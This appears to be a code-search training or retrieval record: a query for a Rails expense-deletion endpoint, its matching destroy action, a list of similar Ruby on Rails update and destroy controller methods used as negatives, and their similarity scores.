"def update\n @supermarket = Supermarket.find(params[:id]) \n respond_to do |format|\n if @supermarket.update(supermarket_params)\n format.json { render json: @supermarket, status: :ok }\n end\n end\n end",
"def update\n\t @service = servicio\n\t @experience = @service.experiences.find(params[:id])\n\t\trespond_to do |format|\n\t\t\tif @experience.update(experience_params)\n\t\t\t\tformat.html { redirect_to experience_path(@experience), notice: 'La experiencia se ha modificado exitosamente.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @experience }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @experience.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update_rest\n @item_usage = ItemUsage.find(params[:id])\n\n respond_to do |format|\n if @item_usage.update_attributes(params[:item_usage])\n flash[:notice] = 'ItemUsage was successfully updated.'\n format.html { redirect_to(@item_usage) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item_usage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @round_expense = RoundExpense.find(params[:id])\n\n respond_to do |format|\n if @round_expense.update_attributes(params[:round_expense])\n format.html { redirect_to(@round_expense, :notice => 'Round expense was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @round_expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @monthly_expense.update(monthly_expense_params)\n format.html { redirect_to @monthly_expense, notice: \"Monthly expense was successfully updated.\" }\n format.json { render :show, status: :ok, location: @monthly_expense }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @monthly_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @explaination = Explaination.find(params[:id])\n\n respond_to do |format|\n if @explaination.update_attributes(params[:explaination])\n format.html { redirect_to @explaination, notice: 'Explaination was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @explaination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @income = Income.find(params[:id])\n\n respond_to do |format|\n if @income.update_attributes(params[:income])\n format.json { head :ok }\n format.js\n else\n format.json { render json: @income.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def update\n @exprience = Exprience.find(params[:id])\n\n respond_to do |format|\n if @exprience.update_attributes(params[:exprience])\n format.html { redirect_to @exprience, notice: 'Exprience was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exprience.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @livingexpense = Livingexpense.find(params[:id])\n\n respond_to do |format|\n if @livingexpense.update_attributes(params[:livingexpense])\n format.html { redirect_to @livingexpense, notice: 'Livingexpense was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @livingexpense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fixed_exp.update(fixed_exp_params)\n format.html { redirect_to @fixed_exp, notice: 'Fixed exp was successfully updated.' }\n format.json { render :show, status: :ok, location: @fixed_exp }\n else\n format.html { render :edit }\n format.json { render json: @fixed_exp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expenditure.update(expenditure_params)\n format.html { redirect_to expenditures_path, notice: 'Expenditure was successfully updated.' }\n format.json { render :show, status: :ok, location: @expenditure }\n else\n format.html { render :edit }\n format.json { render json: @expenditure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @enterprise = Enterprise.find(params[:id])\n\n respond_to do |format|\n if @enterprise.update_attributes(params[:enterprise])\n format.html { redirect_to \"/enterprises\", notice: 'Enterprise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @enterprise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @marketing_expense.update(marketing_expense_params)\n\n @project.create_activity :edited_marketing_expense, owner: current_user,\n parameters: { text: 'Edited ', object_id: @marketing_expense.id, form_data: params[:marketing_expense].to_s }\n\n ProjectMailer.marketing_expense(@project, @marketing_expense, current_user)\n\n format.html { redirect_to @marketing_expense, notice: 'Marketing expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @marketing_expense }\n else\n format.html { render :edit }\n format.json { render json: @marketing_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cash_dispense = CashDispense.find(params[:id])\n\n respond_to do |format|\n if @cash_dispense.update_attributes(params[:cash_dispense])\n format.html { redirect_to @cash_dispense, notice: 'Cash dispense was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cash_dispense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if params[:commit] == \"go\"\n respond_to do |format|\n if @expense_detail.update(expense_detail_params)\n format.html { redirect_to expense_details_path, notice: 'Expense detail was successfully updated.' }\n format.json { head :no_content }\n format.js\n else\n format.html { render action: 'edit' }\n format.json { render json: @expense_detail.errors, status: :unprocessable_entity }\n end\n end\n elsif params[:commit] == \"cancel\"\n @expense_detail = ExpenseDetail.new\n \n respond_to do |format|\n format.js { render \"cancel\" }\n end\n end \n end",
"def update\n respond_to do |format|\n if @income.update(income_params)\n format.html { redirect_to @income, notice: 'Income was successfully updated.' }\n format.json { render :show, status: :ok, location: @income }\n else\n format.html { render :edit }\n format.json { render json: @income.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @food = Food.find(params[:id])\n\n respond_to do |format|\n if @food.update_attributes(params[:food])\n format.html { redirect_to foods_path(), notice: 'Food was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @income_entry = IncomeEntry.find(params[:id])\n\n respond_to do |format|\n if @income_entry.update_attributes(params[:income_entry])\n format.html { redirect_to @income_entry, notice: 'Income entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @income_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @farmexpense = Farmexpense.find(params[:id])\n\n respond_to do |format|\n if @farmexpense.update_attributes(params[:farmexpense])\n format.html { redirect_to(:controller => \"farms\", :action => \"edit\", :id => session[:s_farm_id], :notice => 'farm expense was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @farmexpense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n #render :text => \"stop\" and return\n @expense = current_user.organization.expenses.find(params[:id])\n params[:expense][:date] = change_date_format(params[:expense][:date]) if !(params[:expense][:date]).blank?\n\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n @total_expense_amount = 0\n @total_approved_amt = 0#\n @tot_amt = []\n @tot_approved_amt = []#\n @total_amount = @expense.payments\n @total_amount.each do |k|\n @tot_amt << k.amount\n end \n @total_app_amt = @expense.payments#\n @total_app_amt.each do |a|#\n @tot_approved_amt << a.approved_amt#\n end #\n @tot_amt.each do |t|\n @total_expense_amount = @total_expense_amount + t\n end \n @tot_approved_amt.each do |t1|#\n @total_approved_amt = @total_approved_amt + t1#\n end #\n @total_paid_amt = 0##\n @tot_paid_amt = []##\n @total_paid_amount = @expense.payments##\n @total_paid_amount.each do |p|##\n @tot_paid_amt << p.pay_amount##\n end ##\n @tot_paid_amt.each do |t2|##\n @total_paid_amt = @total_paid_amt + t2##\n end ##\n @expense.update_attribute(\"paid_expense_amt\",@total_paid_amt)##\n @expense.update_attribute(\"amount\",@total_expense_amount)\n @expense.update_attribute(\"total_approved_amt\",@total_approved_amt)#\n format.html { redirect_to @expense, notice: 'Expense was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit_charge\n expense = Expense.find(params[:expense_id])\n\n if OutStanding.where(at_date: expense.at_date).count > 0 \n respond_to do |format|\n format.json { render json: {success: false, msg: \"Can't edit. This item has been audited\"} }\n end\n return\n end\n \n if expense.update_attributes(params[:echarge])\n respond_to do |format|\n format.json { render json: {success: true} }\n end\n else\n respond_to do |format|\n format.json { render json: {success: false} }\n end\n end\n end",
"def update\n @experience = Experience.find(params[:id])\n respond_to do |format|\n if @experience.update_attributes(params[:experience])\n format.html { redirect_to @experience, notice: 'Experience was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @experience.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n params[:refill_type] = params[:refill_type].to_i\n params[:status] = params[:status].to_i\n params[:cost_basis] = params[:cost_basis].to_i\n params[:other_coverage_code] = params[:other_coverage_code].to_i\n params[:reason_for_delay] = params[:reason_for_delay].to_i\n params[:partial_fill_status] = params[:partial_fill_status].to_i\n params[:reported_to_pmp] = params[:reported_to_pmp].to_i\n\n respond_to do |format|\n if @dispense.update(dispense_params)\n format.html { redirect_to @dispense, notice: 'Dispense was successfully updated.' }\n format.json { render :show, status: :ok, location: @dispense }\n else\n format.html { render :edit }\n format.json { render json: @dispense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @employee = Employee.find_by_id(params[:id])\n @employee.update_attributes({:id => params[:id],\n :name => params[:name],\n :title => params[:title],\n :status => params[:status],\n :employment_type => params[:employment_type],\n :attendance_type_id => params[:attendance_type_id],\n :hourly_rate => params[:hourly_rate],\n :location => params[:location],\n :capitalizable_group_id => params[:capitalizable_group_id],\n :leave_days => params[:leave_days],\n :commencement_date => params[:commencement_date],\n :termination_date => params[:termination_date]})\n if request.xhr?\n render :json => @employee\n end\n end",
"def update\n @expense = current_user.expenses.find(params[:id]) \n get_divid_to_close\n \n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n # Attaching tags to the current user\n add_tags_to_current_user(@expense) unless params[:expense][:tag_list].blank?\n flash[:success] = t('activerecord.flash.updated')\n format.html { redirect_to :back }\n format.xml { head :ok } \n format.js \n else\n format.html { render :action => 'edit' }\n format.xml { render :xml => @expense.errors, :status => :unprocessable_entity } \n format.js\n end\n end\n end",
"def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update\n respond_to do |format|\n if @sunshine_center_other_expense.update(sunshine_center_other_expense_params)\n format.html { redirect_to @sunshine_center_other_expense, notice: 'Sunshine center other expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @sunshine_center_other_expense }\n else\n format.html { render :edit }\n format.json { render json: @sunshine_center_other_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @accident_assignee_expense = AccidentAssigneeExpense.find(params[:id])\n\n respond_to do |format|\n if @accident_assignee_expense.update_attributes(params[:accident_assignee_expense])\n format.html { redirect_to(@accident_assignee_expense, :notice => 'Accident assignee expense was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @accident_assignee_expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n respond_to do |format|\n if @enterprise.update(enterprise_params)\n format.html { redirect_to @enterprise, notice: 'Enterprise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @enterprise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @personal_finance.update(personal_finance_params)\n format.html { redirect_to @personal_finance, notice: 'Personal finance was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @personal_finance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @employment_contract.update(employment_contract_params)\n format.html { redirect_to request_steps_path, notice: 'Request was successfully updated.' }\n format.json { render :show, status: :ok, location: @employment_contract }\n else\n format.html { render :edit }\n format.json { render json: @employment_contract.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n @expense = @household.expenses.find(params[:id])\n respond_to do |format|\n if @expense.update(expense_params)\n\n # c = Category.find cat_params[:category].to_i\n #\n # if @expense.categories << c\n # puts 'SUPER'\n # else\n # puts 'SCHEIßE'\n # end\n\n flash[:alert] = 'Expense was successfully updated.'\n format.html {redirect_to household_expenses_path(@household)}\n format.json {render :show, status: :ok, location: @expense}\n else\n format.html {render :edit}\n format.json {render json: @expense.errors, status: :unprocessable_entity}\n end\n end\n end",
"def update\n @planets_exoplanet = Planets::Exoplanet.find(params[:id])\n\n respond_to do |format|\n if @planets_exoplanet.update_attributes(params[:planets_exoplanet])\n format.html { redirect_to @planets_exoplanet, :notice => 'Exoplanet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @planets_exoplanet.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @initiative = Initiative.find(params[:id])\n \n respond_to do |format|\n if @initiative.update_attributes(params[:initiative])\n \n format.html { redirect_to @initiative, notice: 'Initiative was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @initiative.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense_tracker.update(expense_tracker_params)\n format.html { redirect_to @expense_tracker, notice: 'Expense tracker was successfully updated.' }\n format.json { render :show, status: :ok, location: @expense_tracker }\n else\n format.html { render :edit }\n format.json { render json: @expense_tracker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @experience.update(experience_params)\n format.html { redirect_to root_path, notice: 'Experience was successfully updated.' }\n format.json { render :show, status: :ok, location: @experience }\n else\n format.html { render :edit }\n format.json { render json: @experience.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @finance_document = FinanceDocument.find(params[:id])\n\n if @finance_document.update(finance_document_params)\n audit(@finance_document, current_user)\n head :no_content\n else\n render json: @finance_document.errors, status: :unprocessable_entity\n end\n end",
"def update\n @offer = Offer.find(params[:id])\n checkaccountobject(\"offers\",@offer)\n respond_to do |format|\n if @offer.update_attributes(params[:offer])\n format.html { redirect_to @offer, notice: 'Offer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.74732983",
"0.7248082",
"0.72346777",
"0.709356",
"0.7013842",
"0.700139",
"0.686158",
"0.686158",
"0.68436813",
"0.67908907",
"0.6763711",
"0.67226046",
"0.6672167",
"0.6638457",
"0.6638457",
"0.66367996",
"0.660783",
"0.659185",
"0.65893495",
"0.65851796",
"0.6558547",
"0.65063316",
"0.649529",
"0.6364055",
"0.634927",
"0.63484395",
"0.63433146",
"0.63424194",
"0.63296705",
"0.6315603",
"0.6310627",
"0.6308818",
"0.6286603",
"0.6259251",
"0.6253666",
"0.62534446",
"0.6241479",
"0.6183957",
"0.61767733",
"0.6162139",
"0.6160952",
"0.6158595",
"0.615171",
"0.6148654",
"0.614109",
"0.6136155",
"0.612086",
"0.6117175",
"0.61167514",
"0.6107313",
"0.6093673",
"0.6092349",
"0.6083399",
"0.60820574",
"0.60805917",
"0.60622585",
"0.60469687",
"0.6040069",
"0.60247403",
"0.6022911",
"0.6021278",
"0.60127014",
"0.597534",
"0.59705377",
"0.596254",
"0.5959076",
"0.5955124",
"0.59547466",
"0.5953351",
"0.59526813",
"0.5951906",
"0.59350556",
"0.593286",
"0.59246206",
"0.5921956",
"0.5921408",
"0.59124583",
"0.5909813",
"0.59066784",
"0.58915687",
"0.5888855",
"0.5887389",
"0.5884796",
"0.587769",
"0.5873976",
"0.5869798",
"0.5862193",
"0.5846593",
"0.584579",
"0.58432287",
"0.58381855",
"0.58357537",
"0.5830725",
"0.5830704",
"0.5829194",
"0.58280325",
"0.5827665",
"0.5823556"
] |
0.67052156
|
14
|
DELETE /expenses/1 DELETE /expenses/1.json
|
def destroy
@expense.destroy
respond_to do |format|
format.html { redirect_to expenses_url, notice: 'Expense was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @expense = Expense.find(params[:id])\n @expense.destroy\n\n respond_to do |format|\n format.html { redirect_to expenses_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @expense = Expense.find(params[:id])\n @expense.destroy\n\n respond_to do |format|\n format.html { redirect_to expenses_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @expense = Expense.find(params[:id])\n @expense.destroy\n\n respond_to do |format|\n format.html { redirect_to expenses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_expense.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_expenses_url, notice: 'Expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense.destroy\n\n respond_to do |format|\n format.html { redirect_to expenses_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @expense.destroy\n respond_to do |format|\n format.html { redirect_to expenses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense.destroy\n respond_to do |format|\n format.html { redirect_to expenses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense = Expense.find params.fetch(:id)\n @expense.destroy\n head :no_content\n end",
"def destroy\n @expense = current_user.organization.expenses.find(params[:id])\n @expense.destroy\n\n respond_to do |format|\n format.html { redirect_to expenses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense = Expense.find(params[:id])\n @expense.destroy\n\n respond_to do |format|\n format.html { redirect_to(expenses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @expense = Expense.find(params[:id])\n @expense.destroy\n\n respond_to do |format|\n format.html { redirect_to(expenses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\n @expense.destroy\n \n respond_to do |format|\n format.html { redirect_to expenses_url, notice: 'Expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n expense = Expense.destroy(params[\"id\"])\n\n if expense\n render json: {\n status: \"SUCCESS\",\n message: \"Expense deleted\",\n }, status: :ok\n else\n render json: {\n status: \"ERROR\",\n message: \"Invalid id\",\n }, status: 400\n end\n end",
"def destroy\n @expense = Expense.find(params[:id])\n @expense.destroy\n\n respond_to do |format|\n format.html\n format.json { render head :ok }\n format.js { render :nothing => true }\n end\n end",
"def destroy\n @expense.destroy\n respond_to do |format|\n format.html {redirect_to expenses_url, notice: 'Expense was successfully destroyed.'}\n format.json {head :no_content}\n end\n end",
"def destroy\n respond_with @expense.destroy, status: 204\n end",
"def destroy\n @expense.destroy\n\n respond_to do |format|\n format.html { redirect_to(expenses_url) }\n format.xml { head :ok }\n format.js\n format.iphone { redirect_to(@bucket) }\n end\n end",
"def destroy\n @expense = Expense.find(params[:id])\n @expense_id = @expense.id\n @expense.destroy\n\n respond_to do |format|\n format.json { head :ok }\n format.js\n end\n end",
"def destroy\n @dog_expense.destroy\n respond_to do |format|\n format.html { redirect_to dog_expenses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense = current_user.expenses.find(params[:id])\n @expense.destroy\n\n respond_to do |format|\n flash[:success] = t('activerecord.flash.deleted')\n format.html { redirect_to :back }\n format.xml { head :ok }\n end\n end",
"def destroy\n @name_expense.destroy\n respond_to do |format|\n format.html { redirect_to name_expenses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense = Expense.find(params[:id])\n @expense.destroy\n\n respond_to do |format|\n format.html { redirect_to account_statement_url(params[:account_id],params[:statement_id]) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense = Expense.find(params[:id])\n @expense.destroy\n\n redirect_to expenses_url, notice: (I18n.t 'Expense was successfully deleted.')\n end",
"def destroy\n @housing_expense = HousingExpense.find(params[:id])\n @housing_expense.destroy\n\n respond_to do |format|\n format.html { redirect_to housing_expenses_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @expense_type.destroy\n respond_to do |format|\n format.html { redirect_to expense_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_expense_type = Admin::ExpenseType.find(params[:id])\n @admin_expense_type.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_expense_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @rec_expense.destroy\n respond_to do |format|\n format.html { redirect_to rec_expenses_url, notice: 'Rec expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expensesbasis.destroy\n respond_to do |format|\n format.html { redirect_to [@post, @expensesbasis], notice: 'Expensesbase was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @offense.destroy\n respond_to do |format|\n format.html { redirect_to offenses_url, notice: 'Offense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @operating_expense = OperatingExpense.find(params[:id])\n @operating_expense.destroy\n\n respond_to do |format|\n format.html { redirect_to(operating_expenses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @expenses_file.destroy\n respond_to do |format|\n format.html { redirect_to expenses_files_url, notice: 'Expenses file was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @livingexpense = Livingexpense.find(params[:id])\n @livingexpense.destroy\n\n respond_to do |format|\n format.html { redirect_to livingexpenses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense = Expense.for_user(current_user).find(params[:id])\n @expense.destroy\n\n respond_to do |format|\n format.html { redirect_to('/') }\n format.iphone { redirect_to('/') }\n format.xml { head :ok }\n end\n end",
"def destroy\n @expense = Expense.find(params[:id])\n if authorized?(:destroy, @expense)\n @expense.destroy\n respond_to do |format|\n format.html { redirect_to(expenses_url) }\n format.xml { head :ok }\n format.js { render :action => \"destroy\" }\n end\n end\n end",
"def destroy\n @exp = Exp.find(params[:id])\n @exp.destroy\n\n respond_to do |format|\n format.html { redirect_to exps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense_owner.destroy\n respond_to do |format|\n format.html { redirect_to expense_owners_url, notice: 'Expense owner was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @petty_cash_expense.destroy\n head :no_content \n end",
"def destroy\n @shared_expense.destroy\n respond_to do |format|\n format.html { redirect_to shared_expenses_url, notice: 'Shared expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @accident_vehicle_expense = AccidentVehicleExpense.find(params[:id])\n @accident_vehicle_expense.destroy\n\n respond_to do |format|\n format.html { redirect_to(accident_vehicle_expenses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @record_expense.destroy\n respond_to do |format|\n format.html { redirect_to record_expenses_url, notice: 'Record expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize @expense\n set_return_to\n @expense.destroy\n respond_to do |format|\n format.html { redirect_back_or_default expenses_url, t('Record has been deleted') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense_claim.destroy\n respond_to do |format|\n format.html { redirect_to expense_claims_url, notice: 'Expense claim was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @depense.destroy\n respond_to do |format|\n format.html { redirect_to depenses_url, notice: 'Depense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense_state = ExpenseState.find(params[:id])\n @expense_state.destroy\n\n respond_to do |format|\n format.html { redirect_to expense_states_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fixed_expense = FixedExpense.for_user(current_user).find(params[:id])\n @fixed_expense.destroy\n\n respond_to do |format|\n format.html { redirect_to(fixed_expenses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @round_expense = RoundExpense.find(params[:id])\n @round_expense.destroy\n\n respond_to do |format|\n format.html { redirect_to(round_expenses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @expense = Expense.find(params[:id])\n if @expense.dossier.parametres_cabinet.id = current_user.parametres_cabinet.id\n @expense.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to(expenses_url) }\n format.xml { head :ok }\n format.json { render :json => { :success => true, :message => \"Destroyed Expense #{@expense.id}\", :data => []}}\n end\n end",
"def destroy\n @marketing_expense.destroy\n respond_to do |format|\n format.html { redirect_to marketing_expenses_url, notice: 'Marketing expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @solideo_depense.destroy\n respond_to do |format|\n format.html { redirect_to solideo_depenses_url, notice: 'Solideo depense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expenditure = Expenditure.find(params[:id])\n @expenditure.destroy\n\n respond_to do |format|\n format.html { redirect_to expenditures_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person_expense_record.destroy\n\n head :no_content\n end",
"def destroy\n @expediente = Expediente.find(params[:id])\n @expediente.destroy\n\n respond_to do |format|\n format.html { redirect_to expedientes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bid_expense.destroy\n respond_to do |format|\n format.html { redirect_to bid_expenses_url, notice: 'Bid expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @financial_objects_expense.destroy\n respond_to do |format|\n format.html { redirect_to financial_objects_expenses_url, notice: 'Expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @etat_depense.destroy\n respond_to do |format|\n format.html { redirect_to etat_depenses_url, notice: 'Etat depense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @monthly_expense.destroy\n respond_to do |format|\n format.html { redirect_to monthly_expenses_url, notice: \"Monthly expense was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense_transaction.destroy\n respond_to do |format|\n format.html { redirect_to @expense, notice: 'Expense transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @income = Income.find(params[:id])\n @income.destroy\n\n respond_to do |format|\n format.html { redirect_to incomes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense_detail.destroy\n respond_to do |format|\n format.html { redirect_to expense_details_url, notice: \"Expense detail was successfully deleted. \" }\n format.json { head :no_content }\n format.js\n end\n end",
"def destroy\n @exponat.destroy\n respond_to do |format|\n format.html { redirect_to exponats_url, notice: 'Вы удалили элемент из медиа-коллекции' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense_item = ExpenseItem.find(params[:id])\n @expense_item.destroy\n\n respond_to do |format|\n format.html { redirect_to expense_month_url(\n Date.today.year, Date.today.mon) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @income_entry = IncomeEntry.find(params[:id])\n @income_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to income_entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exp_detail = ExpDetail.find(params[:id])\n @exp_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to exp_details_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dispense.destroy\n respond_to do |format|\n format.html { redirect_to dispenses_url, notice: 'Dispense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @investigated.destroy\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n @income = current_company.incomes.find(params[:id])\n @income.destroy\n\n respond_to do |format|\n format.html { redirect_to incomes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @food_expenditure.destroy\n respond_to do |format|\n format.html { redirect_to food_expenditures_url, notice: 'FoodExpenditure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @annex = Annex.find(params[:id])\n @annex.destroy\n\n respond_to do |format|\n format.html { redirect_to annexes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cash_dispense = CashDispense.find(params[:id])\n @cash_dispense.destroy\n\n respond_to do |format|\n format.html { redirect_to cash_dispenses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @deposit.destroy\n respond_to do |format|\n format.html { redirect_to deposits_url, notice: \"Deposit was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @deposit.destroy\n respond_to do |format|\n format.html { redirect_to deposits_url, notice: 'Deposit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @utility_expense.destroy\n respond_to do |format|\n format.html { redirect_to utility_expenses_url, notice: 'Utility expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @explaination = Explaination.find(params[:id])\n @explaination.destroy\n\n respond_to do |format|\n format.html { redirect_to explainations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exprience = Exprience.find(params[:id])\n @exprience.destroy\n\n respond_to do |format|\n format.html { redirect_to expriences_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @accident_assignee_expense = AccidentAssigneeExpense.find(params[:id])\n @accident_assignee_expense.destroy\n\n respond_to do |format|\n format.html { redirect_to(accident_assignee_expenses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @exp = Exp.find(params[:id])\n @exp.destroy\n\n respond_to do |format|\n format.html { redirect_to(exps_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @expense = Expense.find(params[:id])\n @expense.destroy\n\n render :update do |page|\n page.remove \"item_#{params[:id]}\"\n #page.replace_html 'flash_notice', \"project was deleted\"\n end\n end",
"def destroy\n @income.destroy\n respond_to do |format|\n format.html { redirect_to incomes_url, notice: 'Income was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @deposit.destroy\r\n respond_to do |format|\r\n format.html { redirect_to deposits_url, notice: 'Deposit was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end",
